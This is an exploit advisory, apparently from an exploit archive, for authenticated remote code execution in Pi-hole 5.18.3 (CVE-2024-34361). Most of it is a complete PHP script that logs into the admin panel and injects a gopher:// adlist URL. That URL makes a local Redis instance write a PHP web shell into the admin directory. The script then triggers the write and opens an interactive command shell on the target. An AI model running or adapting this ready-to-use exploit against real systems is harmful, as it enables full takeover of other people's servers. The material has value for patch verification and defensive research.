📄 Pi-hole 5.18.3 Remote Code Execution

=============================================================================================================================================
    | # Title     : Pi-hole 5.18.3 via Redis & Gopher Abuse Authenticated Remote Code Execution                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://pi-hole.net/                                                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212922/ & 	CVE-2024-34361
    
    [+] Summary    : This PHP script is an authenticated RCE exploit targeting Pi-hole’s web admin interface. 
                     It requires valid administrator credentials to log in, 
                     obtain a CSRF token, and abuse the adlist management feature by injecting a crafted gopher:// URL. 
    				 The payload forces the server to interact with a local Redis instance, 
    				 write a malicious PHP file into the admin directory, and ultimately enable arbitrary command execution through a web shell. 
                     The attack is post-authentication and becomes critical when credentials are compromised, leading to full system control.
    				
    [+] POC : php poc.php https://target.com adminpassword
    	
    <?php
    error_reporting(0);
    
    class PiHoleExploit {
        private $base_url;
        private $password;
        private $session;
        private $csrf_token;
        
        public function __construct($base_url, $password) {
            $this->base_url = rtrim($base_url, '/');
            $this->password = $password;
            $this->session = curl_init();
            
            // Configure CURL
            curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($this->session, CURLOPT_COOKIEJAR, 'cookies.txt');
            curl_setopt($this->session, CURLOPT_COOKIEFILE, 'cookies.txt');
            curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        }
        
        private function http_request($url, $method = 'GET', $data = null, $headers = []) {
            curl_setopt($this->session, CURLOPT_URL, $url);
            curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method);
            
            $default_headers = [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.5',
                'Connection: keep-alive',
            ];
            
            $all_headers = array_merge($default_headers, $headers);
            
            if ($method === 'POST' && $data !== null) {
                curl_setopt($this->session, CURLOPT_POSTFIELDS, http_build_query($data));
                $all_headers[] = 'Content-Type: application/x-www-form-urlencoded';
            }
            
            curl_setopt($this->session, CURLOPT_HTTPHEADER, $all_headers);
            
            $response = curl_exec($this->session);
            $http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            return [
                'code' => $http_code,
                'body' => $response,
                'headers' => curl_getinfo($this->session, CURLINFO_HEADER_OUT)
            ];
        }
        
        public function login() {
            $url = $this->base_url . '/admin/login.php';
            $data = ['pw' => $this->password];
            
            $response = $this->http_request($url, 'POST', $data);
            
            if (strpos($response['body'], 'Wrong password') !== false) {
                echo "[!] Login failed. Incorrect password.\n";
                return false;
            }
            
            echo "[+] Login successful\n";
            return true;
        }
        
        private function extract_csrf_token($html) {
            // Try to find CSRF token in HTML
            if (preg_match('/<input[^>]*id="token"[^>]*value="([^"]+)"/i', $html, $matches)) {
                $token = $matches[1];
            } elseif (preg_match('/<input[^>]*name="token"[^>]*value="([^"]+)"/i', $html, $matches)) {
                $token = $matches[1];
            } elseif (preg_match('/"token"\s*:\s*"([^"]+)"/', $html, $matches)) {
                $token = $matches[1];
            } else {
                echo "[!] CSRF token not found\n";
                return null;
            }
            
            echo "[+] CSRF Token obtained: " . substr($token, 0, 20) . "...\n";
            return $token;
        }
        
        public function access_adlists() {
            $url = $this->base_url . '/admin/groups-adlists.php';
            $response = $this->http_request($url);
            
            if ($response['code'] == 200) {
                $this->csrf_token = $this->extract_csrf_token($response['body']);
                return $this->csrf_token !== null;
            } else {
                echo "[!] Error accessing groups-adlists. Status code: " . $response['code'] . "\n";
                return false;
            }
        }
        
        public function add_payload() {
            if (!$this->csrf_token) {
                echo "[!] No CSRF token available\n";
                return false;
            }
            
            $url = $this->base_url . '/admin/scripts/pi-hole/php/groups.php';
            
            // Gopher payload for Redis RCE
            $payload = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A/var/www/html/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';
            
            $data = [
                'action' => 'add_adlist',
                'address' => $payload,
                'comment' => '',
                'token' => $this->csrf_token
            ];
            
            $headers = [
                'X-Requested-With: XMLHttpRequest',
                'Accept: application/json, text/javascript, */*; q=0.01',
                'Origin: ' . $this->base_url,
                'Referer: ' . $this->base_url . '/admin/groups-adlists.php',
            ];
            
            $response = $this->http_request($url, 'POST', $data, $headers);
            
            if ($response['code'] == 200) {
                echo "[+] Payload sent successfully\n";
                echo "[+] shell.php should be dropped at /admin/shell.php\n";
                return true;
            } else {
                echo "[!] Failed to send payload. Status code: " . $response['code'] . "\n";
                return false;
            }
        }
        
        public function execute_payload() {
            $url = $this->base_url . '/admin/scripts/pi-hole/php/gravity.sh.php';
            
            $headers = [
                'Accept: text/event-stream',
                'Cache-Control: no-cache',
                'Referer: ' . $this->base_url . '/admin/gravity.php',
            ];
            
            $response = $this->http_request($url, 'GET', null, $headers);
            
            if ($response['code'] == 200) {
                echo "[+] Gravity update triggered\n";
                return true;
            } else {
                echo "[!] Failed to trigger gravity update. Status code: " . $response['code'] . "\n";
                return false;
            }
        }
        
        public function test_shell() {
            $url = $this->base_url . '/admin/shell.php?cmd=id';
            $response = $this->http_request($url);
            
            if (strpos($response['body'], 'uid=') !== false) {
                echo "[+] Shell is working! Command output:\n";
                echo $response['body'] . "\n";
                return true;
            } else {
                echo "[!] Shell test failed\n";
                if ($response['code'] == 404) {
                    echo "[!] shell.php not found (404)\n";
                }
                return false;
            }
        }
        
        public function interactive_shell() {
            echo "\n[+] Entering interactive shell mode\n";
            echo "[+] Type 'exit' to quit\n\n";
            
            while (true) {
                echo "shell> ";
                $cmd = trim(fgets(STDIN));
                
                if ($cmd === 'exit' || $cmd === 'quit') {
                    break;
                }
                
                if (empty($cmd)) {
                    continue;
                }
                
                $url = $this->base_url . '/admin/shell.php?cmd=' . urlencode($cmd);
                $response = $this->http_request($url);
                
                echo $response['body'] . "\n";
            }
        }
        
        public function cleanup() {
            // Remove the shell
            $url = $this->base_url . '/admin/shell.php?cmd=rm%20-f%20' . urlencode($this->base_url . '/admin/shell.php');
            $this->http_request($url);
            echo "[+] Shell cleaned up\n";
        }
        
        public function run() {
            echo "[*] Starting Pi-hole exploit\n";
            echo "[*] Target: " . $this->base_url . "\n";
            
            if (!$this->login()) {
                return false;
            }
            
            if (!$this->access_adlists()) {
                return false;
            }
            
            if (!$this->add_payload()) {
                return false;
            }
            
            if (!$this->execute_payload()) {
                return false;
            }
            
            // Wait for gravity update to complete
            echo "[*] Waiting 5 seconds for gravity update...\n";
            sleep(5);
            
            if ($this->test_shell()) {
                $this->interactive_shell();
                $this->cleanup();
            }
            
            return true;
        }
        
        public function __destruct() {
            if (is_resource($this->session)) {
                curl_close($this->session);
            }
            
            // Clean up cookie file
            if (file_exists('cookies.txt')) {
                unlink('cookies.txt');
            }
        }
    }
    
    // Command line interface
    if ($argc < 3) {
        echo "Usage: php " . basename(__FILE__) . " <base_url> <password>\n";
        echo "Example: php poc.php https://pihole.example.com admin123\n";
        exit(1);
    }
    
    $base_url = $argv[1];
    $password = $argv[2];
    
    $exploit = new PiHoleExploit($base_url, $password);
    $exploit->run();
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================